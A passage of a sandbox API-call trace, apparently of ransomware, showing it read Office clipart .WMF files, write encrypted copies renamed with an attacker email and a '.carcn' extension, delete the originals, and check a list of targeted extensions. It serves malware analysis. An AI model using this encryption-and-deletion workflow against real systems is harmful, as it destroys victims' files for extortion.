lpNumberOfBytesWritten=0x2d1fc94*=0x4790, lpOverlapped=0x0) returned 1 [0265.550] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.550] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.550] SetEndOfFile (hFile=0x544) returned 1 [0265.602] CloseHandle (hObject=0x544) returned 1 [0265.607] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.607] SetEndOfFile (hFile=0x538) returned 1 [0265.609] CloseHandle (hObject=0x538) returned 1 [0265.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0265.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.611] lstrlenW (lpString=".doc") returned 4 [0265.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.611] lstrlenW (lpString=".docx") returned 5 [0265.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.611] lstrlenW (lpString=".pdf") returned 4 [0265.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.611] lstrlenW (lpString=".xls") returned 4 [0265.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.611] lstrlenW (lpString=".xlsx") returned 5 [0265.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.611] lstrlenW (lpString=".ppt") returned 4 [0265.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.611] lstrlenW (lpString=".zip") returned 4 [0265.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.611] lstrlenW (lpString=".rar") returned 4 [0265.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.611] lstrlenW (lpString=".bz2") returned 4 [0265.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString=".7z") returned 3 [0265.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.612] lstrlenW (lpString=".dbf") returned 4 [0265.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.612] lstrlenW (lpString=".1cd") returned 4 [0265.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.612] lstrlenW (lpString=".jpg") returned 4 [0265.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.612] lstrlenW (lpString=".doc") returned 4 [0265.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString=".docx") returned 5 [0265.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.612] lstrlenW (lpString=".pdf") returned 4 [0265.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString=".xls") returned 4 [0265.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.612] lstrlenW (lpString=".xlsx") returned 5 [0265.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.612] lstrlenW (lpString=".ppt") returned 4 [0265.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.613] lstrlenW (lpString=".zip") returned 4 [0265.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.613] lstrlenW (lpString=".rar") returned 4 [0265.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.613] lstrlenW (lpString=".bz2") returned 4 [0265.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.613] lstrlenW (lpString=".7z") returned 3 [0265.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.613] lstrlenW (lpString=".dbf") returned 4 [0265.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.613] lstrlenW (lpString=".1cd") returned 4 [0265.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0265.613] lstrlenW (lpString=".jpg") returned 4 [0265.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.613] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.613] lstrlenW (lpString="BD20013_.WMF") returned 12 [0265.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.627] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11058) returned 1 [0265.627] CloseHandle (hObject=0x530) returned 1 [0265.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0265.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.629] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.629] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.630] GetLastError () returned 0x0 [0265.630] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0265.695] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0265.696] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.696] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.696] SetEndOfFile (hFile=0x544) returned 1 [0265.696] CloseHandle (hObject=0x544) returned 1 [0265.698] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.698] SetEndOfFile (hFile=0x530) returned 1 [0265.702] CloseHandle (hObject=0x530) returned 1 [0265.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0265.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.703] lstrlenW (lpString=".doc") returned 4 [0265.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.703] lstrlenW (lpString=".docx") returned 5 [0265.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.703] lstrlenW (lpString=".pdf") returned 4 [0265.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.703] lstrlenW (lpString=".xls") returned 4 [0265.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.703] lstrlenW (lpString=".xlsx") returned 5 [0265.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.703] lstrlenW (lpString=".ppt") returned 4 [0265.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.703] lstrlenW (lpString=".zip") returned 4 [0265.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.703] lstrlenW (lpString=".rar") returned 4 [0265.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString=".bz2") returned 4 [0265.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString=".7z") returned 3 [0265.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.704] lstrlenW (lpString=".dbf") returned 4 [0265.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.704] lstrlenW (lpString=".1cd") returned 4 [0265.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.704] lstrlenW (lpString=".jpg") returned 4 [0265.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.704] lstrlenW (lpString=".doc") returned 4 [0265.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString=".docx") returned 5 [0265.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.704] lstrlenW (lpString=".pdf") returned 4 [0265.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.704] lstrlenW (lpString=".xls") returned 4 [0265.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.704] lstrlenW (lpString=".xlsx") returned 5 [0265.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.704] lstrlenW (lpString=".ppt") returned 4 [0265.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.705] lstrlenW (lpString=".zip") returned 4 [0265.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.705] lstrlenW (lpString=".rar") returned 4 [0265.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.705] lstrlenW (lpString=".bz2") returned 4 [0265.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.705] lstrlenW (lpString=".7z") returned 3 [0265.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.705] lstrlenW (lpString=".dbf") returned 4 [0265.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.705] lstrlenW (lpString=".1cd") returned 4 [0265.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0265.705] lstrlenW (lpString=".jpg") returned 4 [0265.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.705] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.705] lstrlenW (lpString="BL00012_.WMF") returned 12 [0265.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.706] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9818) returned 1 [0265.706] CloseHandle (hObject=0x530) returned 1 [0265.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0265.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.707] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.707] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.707] GetLastError () returned 0x0 [0265.707] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x265a, lpOverlapped=0x0) returned 1 [0265.737] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2660, lpOverlapped=0x0) returned 1 [0265.738] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.738] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.738] SetEndOfFile (hFile=0x544) returned 1 [0265.739] CloseHandle (hObject=0x544) returned 1 [0265.739] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.740] SetEndOfFile (hFile=0x530) returned 1 [0265.742] CloseHandle (hObject=0x530) returned 1 [0265.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0265.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.743] lstrlenW (lpString=".doc") returned 4 [0265.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.743] lstrlenW (lpString=".docx") returned 5 [0265.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.743] lstrlenW (lpString=".pdf") returned 4 [0265.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.743] lstrlenW (lpString=".xls") returned 4 [0265.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.743] lstrlenW (lpString=".xlsx") returned 5 [0265.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.743] lstrlenW (lpString=".ppt") returned 4 [0265.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.743] lstrlenW (lpString=".zip") returned 4 [0265.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.743] lstrlenW (lpString=".rar") returned 4 [0265.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.743] lstrlenW (lpString=".bz2") returned 4 [0265.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString=".7z") returned 3 [0265.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.744] lstrlenW (lpString=".dbf") returned 4 [0265.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.744] lstrlenW (lpString=".1cd") returned 4 [0265.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.744] lstrlenW (lpString=".jpg") returned 4 [0265.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.744] lstrlenW (lpString=".doc") returned 4 [0265.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString=".docx") returned 5 [0265.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.744] lstrlenW (lpString=".pdf") returned 4 [0265.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString=".xls") returned 4 [0265.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.744] lstrlenW (lpString=".xlsx") returned 5 [0265.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.744] lstrlenW (lpString=".ppt") returned 4 [0265.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.744] lstrlenW (lpString=".zip") returned 4 [0265.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.744] lstrlenW (lpString=".rar") returned 4 [0265.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString=".bz2") returned 4 [0265.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.744] lstrlenW (lpString=".7z") returned 3 [0265.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.745] lstrlenW (lpString=".dbf") returned 4 [0265.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.745] lstrlenW (lpString=".1cd") returned 4 [0265.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0265.745] lstrlenW (lpString=".jpg") returned 4 [0265.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.745] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.745] lstrlenW (lpString="BL00045_.WMF") returned 12 [0265.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.746] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7862) returned 1 [0265.746] CloseHandle (hObject=0x530) returned 1 [0265.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0265.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.746] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.746] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.747] GetLastError () returned 0x0 [0265.747] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0266.152] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0266.153] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.153] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, 